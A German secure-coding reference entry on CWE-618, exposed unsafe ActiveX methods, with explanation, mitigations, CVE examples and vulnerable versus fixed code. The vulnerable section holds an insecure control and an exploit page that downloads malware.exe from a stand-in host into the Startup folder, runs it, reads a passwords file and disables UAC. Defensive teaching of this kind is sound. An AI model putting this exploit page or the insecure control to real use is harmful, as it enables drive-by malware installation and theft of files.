Exponierte unsichere ActiveX-Methode

Beschreibung

Exponierte unsichere ActiveX-Methode ist eine Schwachstelle, bei der ein ActiveX-Control, das für die Verwendung in Webbrowsern entwickelt wurde, gefährliche Methoden exponiert, die Aktionen außerhalb des Sicherheitsmodells des Browsers durchführen, wie das Umgehen von Zonen- oder Domain-Beschränkungen. ActiveX-Controls laufen mit wesentlich größeren Betriebssystem-Privilegien als JavaScript oder Java-Applets und ermöglichen ihnen Operationen wie Dateisystemzugriff, Registry-Modifikation oder Programmausführung. Wenn diese mächtigen Methoden ohne ordnungsgemäße Eingabevalidierung oder Ursprungsprüfung exponiert werden, können Angreifer bösartige Webseiten erstellen, die diese Methoden aufrufen und effektiv Kontrolle über das System des Benutzers erlangen.

Risiko

Das Exponieren unsicherer ActiveX-Methoden erzeugt schwerwiegende Sicherheitsrisiken. Angreifer können bösartige Websites erstellen, die gefährliche Control-Methoden stillschweigend aufrufen, wenn Opfer diese besuchen. Dies kann zu willkürlichem Dateidownload oder -upload an Angreifer-gewählte Orte, Ausführung bösartiger Programme, Diebstahl sensibler Dateien, Registry-Modifikation zur Installation von Malware oder Deaktivierung von Sicherheitssoftware und vollständiger Systemkompromittierung führen. Da ActiveX mit den Privilegien des Benutzers läuft, bietet erfolgreiche Ausnutzung oft vollständigen Zugriff auf Benutzerdaten und Systemressourcen. Das Risiko wird verstärkt, wenn Controls als "safe for scripting" markiert sind, was automatischen Aufruf ohne Benutzeraufforderungen ermöglicht.

Lösung

Vermeiden Sie das Exponieren von Methoden, die gefährliche Operationen durchführen, wenn möglich. Wenn Exposure notwendig ist, implementieren Sie strikte Eingabevalidierung auf alle Argumente, verifizieren Sie den aufrufenden Ursprung vor Ausführung sensibler Operationen und schützen Sie gegen alle möglichen Schwachstellentypen einschließlich Buffer-Overflows, Path-Traversal und Injection-Angriffen. Implementieren Sie Code-Signierung für Controls, obwohl dies nur Attribution bietet, keinen Schutz gegen Control-Schwächen. Vermeiden Sie das Markieren von Controls als "safe for scripting" oder "safe for initialization", es sei denn, es ist absolut notwendig. Erwägen Sie die Verwendung sichererer Alternativen zu ActiveX wie moderne Web-APIs mit angemessenen Berechtigungen.

Häufige Auswirkungen

Auswirkung	Details
Vertraulichkeit	Bereich: Vertraulichkeit Anwendungsdaten lesen - Exponierte Methoden können das Lesen von Dateien oder Systeminformationen von der Maschine des Benutzers ermöglichen.
Integrität	Bereich: Integrität Anwendungsdaten modifizieren - Gefährliche Methoden können Dateien schreiben, Registry modifizieren oder Systemkonfiguration ändern.
Zugriffskontrolle	Bereich: Zugriffskontrolle Unbefugten Code oder Befehle ausführen - Methoden, die Programme ausführen oder Dateien herunterladen, ermöglichen willkürliche Code-Ausführung auf Benutzersystemen.

Beispielcode

Verwundbarer Code

// Verwundbar: ActiveX-Control das gefährliche Dateioperationen exponiert
// FileManipulator.idl
[
    object,
    uuid(12345678-1234-1234-1234-123456789ABC),
    dual,
    helpstring("IFileManipulator Interface"),
    pointer_default(unique)
]
interface IFileManipulator : IDispatch
{
    // Verwundbar: Erlaubt Dateidownload an jeden Ort
    [id(1)] HRESULT DownloadFile([in] BSTR url, [in] BSTR localPath);

    // Verwundbar: Erlaubt Lesen jeder Datei
    [id(2)] HRESULT ReadFile([in] BSTR filePath, [out, retval] BSTR* content);

    // Verwundbar: Erlaubt Ausführen jedes Programms
    [id(3)] HRESULT ExecuteProgram([in] BSTR programPath, [in] BSTR arguments);

    // Verwundbar: Registry-Manipulation
    [id(4)] HRESULT WriteRegistry([in] BSTR key, [in] BSTR value);
};

// Implementierung
STDMETHODIMP CFileManipulator::DownloadFile(BSTR url, BSTR localPath)
{
    // Verwundbar: Keine Validierung von URL oder Pfad
    // Angreifer kann Malware an jeden Ort herunterladen
    URLDownloadToFile(NULL, url, localPath, 0, NULL);
    return S_OK;
}

STDMETHODIMP CFileManipulator::ExecuteProgram(BSTR programPath, BSTR arguments)
{
    // Verwundbar: Keine Validierung - führt jedes Programm aus
    ShellExecute(NULL, L"open", programPath, arguments, NULL, SW_SHOW);
    return S_OK;
}

<!-- Bösartige Webseite die verwundbares ActiveX-Control ausnutzt -->
<html>
<body>
<object id="vuln" classid="clsid:12345678-1234-1234-1234-123456789ABC">
</object>
<script>
// Angriff: Malware in Autostart-Ordner herunterladen
var ctrl = document.getElementById('vuln');
ctrl.DownloadFile(
    'http://evil.example.com/malware.exe',
    'C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe'
);

// Angriff: Malware ausführen
ctrl.ExecuteProgram('C:\\Users\\Victim\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\malware.exe', '');

// Angriff: Sensible Dateien lesen
var content = ctrl.ReadFile('C:\\Users\\Victim\\Documents\\passwords.txt');
// An Angreifer-Server via Image-Beacon oder XHR senden

// Angriff: Registry modifizieren um Sicherheit zu deaktivieren
ctrl.WriteRegistry('HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System\\EnableLUA', '0');
</script>
</body>
</html>

Lösungscode

// Behoben: ActiveX-Control mit ordnungsgemäßen Sicherheitsmaßnahmen
// SecureFileHandler.idl
[
    object,
    uuid(87654321-4321-4321-4321-CBA987654321),
    dual,
    helpstring("ISecureFileHandler Interface"),
    pointer_default(unique)
]
interface ISecureFileHandler : IDispatch
{
    // Behoben: Eingeschränkte Funktionalität mit Validierung
    [id(1)] HRESULT DownloadToTempFolder([in] BSTR url, [out, retval] BSTR* localPath);

    // Behoben: Nur aus erlaubten Verzeichnissen lesen
    [id(2)] HRESULT ReadAllowedFile([in] BSTR relativePath, [out, retval] BSTR* content);
};

// Implementierung mit Sicherheitsmaßnahmen
class CSecureFileHandler : public ISecureFileHandler
{
private:
    // Whitelist erlaubter Domains
    static const wchar_t* ALLOWED_DOMAINS[];
    static const wchar_t* ALLOWED_READ_DIR;

    bool IsUrlFromTrustedDomain(BSTR url)
    {
        // URL parsen und Domain prüfen
        URL_COMPONENTS urlComp = {0};
        urlComp.dwStructSize = sizeof(urlComp);
        wchar_t hostName[256];
        urlComp.lpszHostName = hostName;
        urlComp.dwHostNameLength = 256;

        if (!InternetCrackUrl(url, 0, 0, &urlComp))
            return false;

        // Gegen Whitelist prüfen
        for (int i = 0; ALLOWED_DOMAINS[i] != NULL; i++) {
            if (wcsicmp(hostName, ALLOWED_DOMAINS[i]) == 0)
                return true;
        }
        return false;
    }

    bool ValidatePath(BSTR path, bool& hasPathTraversal)
    {
        hasPathTraversal = false;

        // Auf Path-Traversal-Versuche prüfen
        if (wcsstr(path, L"..") != NULL) {
            hasPathTraversal = true;
            return false;
        }

        // Auf absolute Pfade prüfen
        if (PathIsRelative(path) == FALSE) {
            return false;
        }

        return true;
    }

    bool VerifyCallerOrigin()
    {
        // Verifizieren, dass aufrufendes Skript von vertrauenswürdigem Ursprung ist
        // Implementierung hängt von Hosting-Umgebung ab
        IServiceProvider* pSP = NULL;
        IWebBrowser2* pBrowser = NULL;
        BSTR url = NULL;

        // Hosting-Browser holen und URL prüfen
        // Nur Aufrufe von spezifischen vertrauenswürdigen Seiten erlauben
        // ... Implementierung ...

        return true;  // Vereinfacht - ordnungsgemäße Prüfung implementieren
    }

public:
    STDMETHODIMP DownloadToTempFolder(BSTR url, BSTR* localPath)
    {
        // Behoben: Aufrufer-Ursprung verifizieren
        if (!VerifyCallerOrigin()) {
            return E_ACCESSDENIED;
        }

        // Behoben: URL von vertrauenswürdiger Domain validieren
        if (!IsUrlFromTrustedDomain(url)) {
            return E_INVALIDARG;
        }

        // Behoben: Nur in Temp-Ordner mit generiertem Namen herunterladen
        wchar_t tempPath[MAX_PATH];
        GetTempPath(MAX_PATH, tempPath);

        wchar_t tempFile[MAX_PATH];
        GetTempFileName(tempPath, L"DL", 0, tempFile);

        HRESULT hr = URLDownloadToFile(NULL, url, tempFile, 0, NULL);
        if (SUCCEEDED(hr)) {
            *localPath = SysAllocString(tempFile);
        }

        return hr;
    }

    STDMETHODIMP ReadAllowedFile(BSTR relativePath, BSTR* content)
    {
        // Behoben: Aufrufer-Ursprung verifizieren
        if (!VerifyCallerOrigin()) {
            return E_ACCESSDENIED;
        }

        // Behoben: Pfad validieren
        bool hasTraversal;
        if (!ValidatePath(relativePath, hasTraversal)) {
            return E_INVALIDARG;
        }

        // Behoben: Nur aus spezifischem Verzeichnis lesen erlauben
        wchar_t fullPath[MAX_PATH];
        PathCombine(fullPath, ALLOWED_READ_DIR, relativePath);

        // Behoben: Kanonisieren und verifizieren, dass noch im erlaubten Verzeichnis
        wchar_t canonicalPath[MAX_PATH];
        PathCanonicalize(canonicalPath, fullPath);

        if (wcsncmp(canonicalPath, ALLOWED_READ_DIR, wcslen(ALLOWED_READ_DIR)) != 0) {
            return E_ACCESSDENIED;
        }

        // Datei mit Größenlimits lesen
        // ... Implementierung mit Buffer-Overflow-Schutz ...

        return S_OK;
    }
};

// Registry-Einstellungen um NICHT als safe for scripting zu markieren
// [HKEY_CLASSES_ROOT\CLSID\{87654321-4321-4321-4321-CBA987654321}\Implemented Categories]
// NICHT hinzufügen {7DD95801-9882-11CF-9FA9-00AA006C42C4} (safe for scripting)
// NICHT hinzufügen {7DD95802-9882-11CF-9FA9-00AA006C42C4} (safe for initialization)

// Besser: Moderne Web-APIs statt ActiveX verwenden
// Moderner Ansatz mit File System Access API (mit Benutzereinwilligung)

async function modernFileAccess() {
    // Benutzer muss explizit Berechtigung erteilen
    const fileHandle = await window.showOpenFilePicker({
        types: [{
            description: 'Textdateien',
            accept: {'text/plain': ['.txt']}
        }]
    });

    // Benutzer hat Datei gewählt - kein willkürlicher Zugriff möglich
    const file = await fileHandle[0].getFile();
    const contents = await file.text();

    return contents;
}

// Für Downloads standard download-Attribut verwenden
function safeDownload(url, filename) {
    // Browser handhabt Sicherheit - kein willkürlicher Pfadzugriff
    const link = document.createElement('a');
    link.href = url;
    link.download = filename;
    link.click();
}

CVE-Beispiele

CVE-2007-1120: ActiveX-Control erlaubt Dateidownloads an willkürliche Ordner.
CVE-2006-6838: ActiveX-Control lädt URLs aus Parametern herunter und führt sie aus.
CVE-2007-0321: ActiveX-Methode mit Buffer-Overflow-Schwachstelle.

Referenzen

MITRE Corporation. "CWE-618: Exposed Unsafe ActiveX Method." https://cwe.mitre.org/data/definitions/618.html
Microsoft. "Safe Initialization and Scripting for ActiveX Controls."
OWASP. "ActiveX Security."